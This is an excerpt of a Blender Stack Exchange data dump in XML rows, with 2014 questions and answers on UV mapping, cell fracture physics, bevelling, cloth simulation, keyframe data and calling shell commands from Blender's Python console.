  <row Id="16315" PostTypeId="1" AcceptedAnswerId="16325" CreationDate="2014-09-30T23:13:22.813" Score="1" ViewCount="341" Body="&lt;p&gt;Briefly, I have done extensive research with tutorials etc regarding a problem I am experiencing and it is my hope that perhaps someone could allow some insight!&lt;br&gt;&#xA;I am successfully utilizing projection painting of an image to a model's head, however, upon exporting the model and observing through a web page the uv map covers the entire model rather than just the head area. which has remained the selected in edit mode. The uv map only suggests the head area which is continually repeated over the entire model even after attempting to deselect &quot;Repeat&quot; in image mapping which I changed to &quot;Clip&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="2217" LastEditDate="2014-11-03T23:39:01.447" LastActivityDate="2014-11-03T23:39:01.447" Title="Why does a UV Map cover the entire model?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16316" PostTypeId="1" AcceptedAnswerId="16336" CreationDate="2014-09-30T23:13:36.613" Score="3" ViewCount="877" Body="&lt;p&gt;So I have a cube that has been cell fractured. And I selected all of them and used the fracture physics tool to have the cube react to a ball hitting it. but when I changed the setting for Enable Deactivation and Start Deactivation so that it won't start until the ball hits it, and press &quot;copy from active&quot; in the toolbar, the fractured cube won't move at all.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="3090" LastEditDate="2014-10-01T02:41:50.230" LastActivityDate="2014-10-01T17:57:36.420" Title="Cell fracture not working with physics" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16317" PostTypeId="1" AcceptedAnswerId="16319" CreationDate="2014-09-30T23:24:18.927" Score="2" ViewCount="10429" Body="&lt;p&gt;I know this is probably a super easy answer, but I can't find it anywhere.&#xA;How do I turn the shading off on objects when I got them in texture mode? I want to fully see the texture without the crazy dark shadows; preferably no shadows at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;img src=&quot;https://i.stack.imgur.com/rWVC2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6271" LastEditorUserId="12" LastEditDate="2014-09-30T23:52:47.247" LastActivityDate="2014-09-30T23:52:47.247" Title="Turn off shading" Tags="&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-01T01:38:43.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="16318" PostTypeId="1" AcceptedAnswerId="16320" CreationDate="2014-09-30T23:31:14.973" Score="9" ViewCount="20480" Body="&lt;p&gt;So I lost my move tool. When I select anything, the standard little 3D move tool interface with all the arrows is no longer visible. I started to use 'G' to overcome that, but now that no longer works. I can move stuff around with G in the UV editor, but it is really rigid and snaps to a grid. I can't use G at all anymore to move things in 3D View though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what I pressed, but I messed something up pretty good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6271" LastEditorUserId="12" LastEditDate="2014-10-01T00:27:08.250" LastActivityDate="2014-10-01T12:35:10.937" Title="Lost the Move Tool" Tags="&lt;3d-view&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16319" PostTypeId="2" ParentId="16317" CreationDate="2014-09-30T23:34:18.670" Score="3" Body="&lt;p&gt;Ok so when you go into texture mode, you want to press &quot;n&quot; on your keyboard.&#xA;Scroll down, and near the bottom of the list you will see &quot;shading&quot;. click on it, and you will see this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fQYto.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Click on &quot;Shadeless&quot; and there you go! No more shade!&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-09-30T23:34:18.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16320" PostTypeId="2" ParentId="16318" CreationDate="2014-09-30T23:54:18.260" Score="13" Body="&lt;p&gt;Sounds like you hid the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Manipulators&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;3D manipulator widget&lt;/em&gt;&lt;/a&gt;. To toggle it on/off, use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;. As Greg also points out below, you have snapping on as well, See &lt;a href=&quot;https://blender.stackexchange.com/questions/2834/cursor-is-set-to-move-by-increments-how-to-reset-to-normal&quot;&gt;Cursor is set to move by increments. how to reset to normal?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-10-01T12:35:10.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16321" PostTypeId="1" AcceptedAnswerId="16323" CreationDate="2014-10-01T00:46:11.033" Score="30" ViewCount="61017" Body="&lt;p&gt;How would one curve specific edges while leaving others alone? I'm trying to model this (circled) object, But can't figure out how to bevel side edges and leave the front-edge flat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2mEN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried using the bevel modifier in combination with edge creases but that apparently has no effect, not sure what else to do, as I am still very new to modeling/blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lc0Jn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6079" LastActivityDate="2016-07-26T14:40:48.337" Title="Bevel specific edges" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="16322" PostTypeId="2" ParentId="16321" CreationDate="2014-10-01T00:53:37.527" Score="8" Body="&lt;p&gt;On the bevel modifier, you can select &lt;em&gt;Weight:&lt;/em&gt; as the application mode.  Then you can mark edges to bevel by changing their &lt;em&gt;Bevel Weight&lt;/em&gt;, which is directly underneath the edge crease spinner on the right-hand toolbar of the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; and select bevel edges from there.  The downside to this is that changing the amount or undoing it is not as easy as simply editing or deleting a modifier.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2016-07-26T14:40:48.337" LastActivityDate="2016-07-26T14:40:48.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16323" PostTypeId="2" ParentId="16321" CreationDate="2014-10-01T00:53:50.037" Score="57" Body="&lt;h2&gt;Using the interactive bevel tool&lt;/h2&gt;&#xA;&lt;p&gt;You can select the specific edges you want to bevel (switch to edge selection mode to make this easier, press &lt;Kbd&gt;Ctrl&lt;/Kbd&gt; + &lt;Kbd&gt;Tab&lt;/Kbd&gt; in &lt;em&gt;Edit&lt;/em&gt; mode and select &lt;em&gt;Edge&lt;/em&gt;) and use &lt;Kbd&gt;Ctrl&lt;/Kbd&gt; + &lt;Kbd&gt;B&lt;/Kbd&gt; and drag to interactively adjust the bevel, additionally roll the scroll wheel to add in edge loops to round out the bevel. To bevel a single vertex, use &lt;Kbd&gt;Ctrl&lt;/Kbd&gt; + &lt;Kbd&gt;Shift&lt;/Kbd&gt; + &lt;Kbd&gt;B&lt;/Kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4FqEM.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Using the bevel modifier&lt;/h2&gt;&#xA;&lt;p&gt;Another way is to select the edges, add them to a vertex group from the &lt;em&gt;Object Data&lt;/em&gt; panel and then use that group as input for the bevel modifier by choosing &lt;em&gt;Vertex Group&lt;/em&gt; under &lt;em&gt;Limit Method&lt;/em&gt;. This method is non-destructive meaning you can easily revert/make any changes by deleting the group or updating it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2zDop.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; While you might select edges, the bevel modifier actually works on vertices so depending on your selections, results can vary. When using it, try to keep the edges connected and not spaced or leave gaps.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-03T15:22:21.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16324" PostTypeId="1" CreationDate="2014-10-01T02:06:09.747" Score="0" ViewCount="516" Body="&lt;p&gt;I've created a spring animation using shape keys in Blender and I would like to import it to Unity. I can get the spring into Unity, but I can't get the animation. How do I get the animation to work in Unity?&lt;/p&gt;&#xA;" OwnerUserId="6282" LastEditorUserId="599" LastEditDate="2014-10-01T06:13:46.327" LastActivityDate="2021-04-21T07:08:40.803" Title="Making a spring for use in Unity" Tags="&lt;animation&gt;&lt;armature&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16325" PostTypeId="2" ParentId="16315" CreationDate="2014-10-01T03:23:49.220" Score="1" Body="&lt;p&gt;Move the vertices you would like to ignore off the UV Map ... to some side.  Use this in combination with Clip.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-10-01T03:23:49.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16327" PostTypeId="2" ParentId="16311" CreationDate="2014-10-01T04:38:49.143" Score="1" Body="&lt;p&gt;(01) (Difficult the first time) A color texture influence driver can be used ... with a numeric [custom property] .. 24, 48, 72 and so on ... on the objects ... object data.  This would not be a lengthy script.&#xA;You must locate the target of the script in the outliner datablocks view with great care as depicted below.  This requires effort because it is deep hierarchy .  Most people I  suspect have rarely used the datablocks view. The Blender UI debug info  will not behave as desired. Object location x, y, z scripts have better debug info.  If you attempt to write a texture driver from the properties window it will fail.  Blender will not give warning.  Note the driver is located on the Cube object not its material.  Below I typed a distinctive numeric value of .678, not 0 or 1,into the field to help me locate it in the datablock view.  Note the absence of the driver in the texture panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final render will be correct.&#xA;Code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;frame &gt; 20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/giH4K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(02) Special case .. if the objects are static and identical with simple color... you may be able to join them and UV Map them together. Use a single texture that is an [image  sequence] to slide the color across them.  Your image sequence may need to be structured as twelve logical strips or color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(03) Materials and textures are not the same .. I would consider 12 textures ... perhaps copying colors ... and keyframe the color influence of the texture. I am assuming you will not have more than 12.  (I am supposed to avoid asking for clarification according to the yellow box text).  This would avoid a lengthy script.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(04) The more objects you have the more utility of the driver or script.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-01T21:16:30.673" LastActivityDate="2014-10-01T21:16:30.673" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16329" PostTypeId="1" CreationDate="2014-10-01T04:43:46.047" Score="2" ViewCount="1967" Body="&lt;p&gt;I do this in the Python Console in Blender 2.64 on Ubuntu 11.04:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import os&#xA;&amp;gt;&amp;gt;&amp;gt; os.system('ls')&#xA;0&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; os.system('ls /')&#xA;0&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; os.system('echo aa')&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that 0 is return status, it implies the command should have executed successfully - yet nothing is printed to the terminal? &lt;em&gt;However&lt;/em&gt;, if I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; os.system('echo aa &amp;gt; /tmp/test.txt')&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... then there &lt;em&gt;is&lt;/em&gt; a &lt;code&gt;/tmp/test.txt&lt;/code&gt; file created, with the expected contents ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the problem is apparently getting the stdout of the system shell routed to the Python console. Is there any way to get this done, so I can see the output of, say, &lt;code&gt;ls&lt;/code&gt; or &lt;code&gt;echo&lt;/code&gt; in the Python console?&lt;/p&gt;&#xA;" OwnerUserId="5972" LastActivityDate="2014-10-01T05:11:07.040" Title="Getting os.system to work in Python Console?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16330" PostTypeId="2" ParentId="16329" CreationDate="2014-10-01T05:11:07.040" Score="2" Body="&lt;p&gt;Ok, it seems &lt;code&gt;subprocess&lt;/code&gt; can be used instead; note here you have to specify the shell explicitly, e.g. try pasting this script in Python Console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess&#xA;p = subprocess.Popen(['bash', '-c', 'echo AAaa'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)&#xA;out, err = p.communicate()&#xA;print(out, err)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output to that is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ...&#xA;&amp;gt;&amp;gt;&amp;gt; print(out, err)&#xA;b'AAaa\n' b''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that if you intend to do &quot;piping&quot; &lt;code&gt;bash&lt;/code&gt; commands, things get a tad bit more complicated (see &lt;a href=&quot;https://stackoverflow.com/questions/7323859/python-how-to-call-bash-commands-with-pipe&quot;&gt;Python - How to call bash commands with pipe? - Stack Overflow&lt;/a&gt;); so for instance, to call &lt;code&gt;echo BBbb | xsel -b&lt;/code&gt; and actually have it succeed (that is, have the string end up on clipboard), you should &lt;code&gt;split&lt;/code&gt; the two processes, and establish the pipe via Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess&#xA;import shlex&#xA;p1 = subprocess.Popen(shlex.split(&quot;echo BBbb&quot;), stdout=subprocess.PIPE, stderr=subprocess.PIPE)&#xA;p2 = subprocess.Popen(shlex.split(&quot;xsel -b&quot;), stdin=p1.stdout)&#xA;out, err = p2.communicate()&#xA;print(out, err)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output to this looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ...&#xA;&amp;gt;&amp;gt;&amp;gt; print(out, err)&#xA;None None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but the string &lt;code&gt;BBbb&lt;/code&gt; does end up on clipboard, as intended.&lt;/p&gt;&#xA;" OwnerUserId="5972" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-10-01T05:11:07.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16331" PostTypeId="2" ParentId="3409" CreationDate="2014-10-01T05:24:08.643" Score="3" Body="&lt;p&gt;Not exactly one step, but close, using Python scripting - in Python Console, first paste the following script, which uses the &lt;code&gt;xsel&lt;/code&gt; program (Linux) to manipulate the clipboard (for more on the complications of piping into xsel, see &lt;a href=&quot;https://blender.stackexchange.com/questions/16329/getting-os-system-to-work-in-python-console&quot;&gt;Getting os.system to work in Python Console?&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os, subprocess, shlex&#xA;def getCurSelLoc():&#xA;  print(bpy.context.active_object)&#xA;  mydat = str(bpy.context.active_object.location)&#xA;  # os.system(&quot;echo '%s' | xsel -b&quot; % mydat) # nowork, see:&#xA;  # https://blender.stackexchange.com/questions/16329/getting-os-system-to-work-in-python-console&#xA;  # also, cannot use stdin=mydat: AttributeError: 'str' object has no attribute 'fileno'&#xA;  p1 = subprocess.Popen(shlex.split(&quot;echo '%s'&quot; % mydat), stdout=subprocess.PIPE, stderr=subprocess.PIPE)&#xA;  p2 = subprocess.Popen(shlex.split(&quot;xsel -b&quot;), stdin=p1.stdout)&#xA;  out, err = p2.communicate()&#xA;  print(out, err)&#xA;  print(mydat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and press Enter twice to have it parsed; then, with (say) the default Cube selected, type or paste in the Python Console &lt;code&gt;getCurSelLoc()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; getCurSelLoc()&#xA;&amp;lt;bpy_struct, Object(&quot;Cube&quot;)&amp;gt;&#xA;None None&#xA;&amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly, you get the location and the name of the selected object in the Python Console - but if you &quot;paste&quot; in a text document after this action, then you would have &lt;code&gt;&amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&lt;/code&gt; pasted as text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've ran &lt;code&gt;getCurSelLoc()&lt;/code&gt; in the Python Console once, it ends up in the command history, so re-running it is as easy as pressing Up arrow key to recall last command, and pressing Enter. This could probably be re-done to function as an UI script, but I'm not that well versed with that part for the time being.&lt;/p&gt;&#xA;" OwnerUserId="5972" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-10-01T05:24:08.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16332" PostTypeId="1" AcceptedAnswerId="16335" CreationDate="2014-10-01T07:10:54.717" Score="1" ViewCount="801" Body="&lt;p&gt;I have a model of a person exported from the MakeHuman software. I also do have a model of a blanket. What I want to do now, is to fit the blanket to the human, as if the human was sleeping under the blanket.&#xA;I have done some research and believe that the shrinkwarp modifier applied to the blanket with target &quot;testHuman&quot; should do the trick. However, the following happens:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The blanket seems too small when I apply the shrinkwarp modifier and is very weirdly shaped&lt;/li&gt;&#xA;&lt;li&gt;When I increase the offset to about one, the blanket increases to a size which looks about right. When I decrease the offset again, the blanket shrinks again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I believe, that this has also to do with the model for the human I use. I cannot really choose the whole human as a target, but only parts of it. I will attach some pictures to illustrate.&#xA;Can somebody explain to me the behavior occuring when I change the offset? Also, how can I use my human-model for this purpose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z8shS.png&quot; alt=&quot;The two models I use&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FiVWT.png&quot; alt=&quot;Parts of the human model&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qeKez.png&quot; alt=&quot;When shrinkwarp modifier applied with offset zero&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fgmFy.png&quot; alt=&quot;When shrinkwarp modifier applied with offset one&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5124" LastActivityDate="2014-10-01T13:31:45.933" Title="Fit a blanket to a person" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16333" PostTypeId="2" ParentId="15755" CreationDate="2014-10-01T09:41:55.490" Score="4" Body="&lt;p&gt;I have just written a script to batch process images from the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;batch_compo.py --blend=compo.blend --input=&quot;./img_src/*.png&quot; --output=&quot;./img_dst&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its a single script, but linking to the repository which includes a readme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://gitlab.com/ideasman42/batch-compo&quot; rel=&quot;nofollow&quot;&gt;https://gitlab.com/ideasman42/batch-compo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-03-05T15:31:08.057" LastActivityDate="2015-03-05T15:31:08.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16334" PostTypeId="1" CreationDate="2014-10-01T11:12:34.673" Score="2" ViewCount="1173" Body="&lt;p&gt;I'm currently trying to create custom nodes for the cycles rendering engine, in python. So far, I can add the node in the node editor with inputs and outputs. What I don't understand is how to set the value of the output, for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OutputColor(Node):&#xA;    '''Output Color'''&#xA;&#xA;    bl_idname = &quot;outputcolor&quot;&#xA;    bl_label = &quot;Output Color&quot;&#xA;&#xA;    def init(self, context):&#xA;        self.inputs.new('NodeSocketColor', 'Color')&#xA;        out = self.outputs.new('NodeSocketColor', 'Color')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5744" LastEditorUserId="3078" LastEditDate="2014-10-01T15:23:48.830" LastActivityDate="2014-10-01T15:23:48.830" Title="How to work with a custom Python node in Cycles" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16335" PostTypeId="2" ParentId="16332" CreationDate="2014-10-01T13:31:45.933" Score="3" Body="&lt;p&gt;Here is the simplest way, using Cloth Simulator defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select body, then in Physics tab, select Collision:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7r8F0.png&quot; alt=&quot;Select body, then in Physics tab select Collision&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add Plane mesh, set smooth, then in Edit Mode, scale to cover body and subdivide it to desired level of billow detail. Select Cloth in the Physics tab:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RjOdo.png&quot; alt=&quot;Add Plane mesh, set smooth, then in Edit Mode, scale to cover body and subdivide it to desired level of billow detail. Select Cloth in the Physics tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raise Plane above all parts, then press Alt-A to begin simulation:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TRMuY.png&quot; alt=&quot;Raise Plane above all parts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pick your favorite frame:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p7uD5.png&quot; alt=&quot;Pick your favorite frame&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="621" LastActivityDate="2014-10-01T13:31:45.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16336" PostTypeId="2" ParentId="16316" CreationDate="2014-10-01T16:32:00.540" Score="2" Body="&lt;p&gt;Well I goofed. It turned out to be the rigid body world settings in the scene tab.&#xA;Turns out the speed was at zero, so there wasn't any chance that the fractured cube could move.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="599" LastEditDate="2014-10-01T17:57:36.420" LastActivityDate="2014-10-01T17:57:36.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16338" PostTypeId="2" ParentId="8387" CreationDate="2014-10-01T19:01:44.837" Score="17" Body="&lt;p&gt;To actually get the keyframe data (and not the bones' transform matrix as in CodemanX answer), you need to get the desired action, its fcurves, and finally all the keypoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fcurves are named with &lt;code&gt;bone.location&lt;/code&gt; &lt;code&gt;.quaternion&lt;/code&gt; and &lt;code&gt;.scale&lt;/code&gt; for all channels (x,y,z) or (w,x,y,z) and are further distinguished via their index.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;action = bpy.data.actions[&quot;action_id&quot;]&#xA;for fcu in action.fcurves:&#xA;    print(fcu.data_path + &quot; channel &quot; + str(fcu.array_index))&#xA;    for keyframe in fcu.keyframe_points:&#xA;        print(keyframe.co) #coordinates x,y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the &lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bpy.types.Keyframe.html&quot; rel=&quot;noreferrer&quot;&gt;API documentation&lt;/a&gt; on the Keyframes structure to see what you can do with it: &lt;/p&gt;&#xA;" OwnerUserId="844" LastEditorUserId="7522" LastEditDate="2017-04-04T20:00:07.723" LastActivityDate="2017-04-04T20:00:07.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16339" PostTypeId="1" AcceptedAnswerId="16340" CreationDate="2014-10-01T19:52:07.470" Score="6" ViewCount="23297" Body="&lt;p&gt;I'm following the instructions found in Ben Simonds' &quot;Blender Master Class&quot; and both the Materials and Textures interfaces seem to have changed significantly since the book was written.  I'm supposed to make the material &lt;em&gt;Shadeless&lt;/em&gt;, to set the texture's &lt;em&gt;Image or Movie&lt;/em&gt; to &lt;em&gt;Normal&lt;/em&gt; which is supposed to be under the &quot;Mapping Tab&quot;, and in the Display Panel of the 3D View I'm supposed to set the shading option to GLSL.  While all this (mostly) makes sense to me, I just can't find any of these settings anywhere.&lt;/p&gt;&#xA;" OwnerUserId="6272" LastActivityDate="2018-07-19T10:31:04.453" Title="How to apply Matcap materials for sculpting in Blender 2.71?" Tags="&lt;sculpting&gt;&lt;matcaps&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16340" PostTypeId="2" ParentId="16339" CreationDate="2014-10-01T19:55:22.783" Score="7" Body="&lt;p&gt;It sounds like you have your render engine set to &lt;em&gt;Cycles&lt;/em&gt;, and those instructions are for BI (See &lt;a href=&quot;https://blender.stackexchange.com/a/554/599&quot;&gt;this answer&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that matcaps have been implemented separatly in the 3D view, so unless you want to use your own matcap image or render them with BI or cycles, you can simply enable them in &lt;em&gt;3D view &gt; Properties (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bG4ER.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-10-01T19:55:22.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16342" PostTypeId="1" CreationDate="2014-10-01T21:01:12.537" Score="3" ViewCount="553" Body="&lt;p&gt;I had create a dice model and added two materials to it: black and orange.&lt;br&gt;&#xA;When I export my file to .obj and open it in different software I see only grey dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my .mtl file content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newmtl Material.001&#xA;Ns 96.078431&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.640000 0.640000 0.640000&#xA;Ks 0.500000 0.500000 0.500000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;&#xA;newmtl Material.002&#xA;Ns 96.078431&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.640000 0.640000 0.640000&#xA;Ks 0.500000 0.500000 0.500000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I change the colors, the content does not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sendspace.com/file/v0f0q1&quot; rel=&quot;nofollow&quot;&gt;Link to file .blend&lt;/a&gt;&lt;br&gt;&#xA;I am using 2.71&lt;/p&gt;&#xA;" OwnerUserId="6289" LastEditorUserId="599" LastEditDate="2014-10-01T22:22:40.417" LastActivityDate="2014-10-01T22:22:40.417" Title="Why isn't blender exporting colors to .mtl?" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-10-11T18:46:01.317" ContentLicense="CC BY-SA 3.0" />
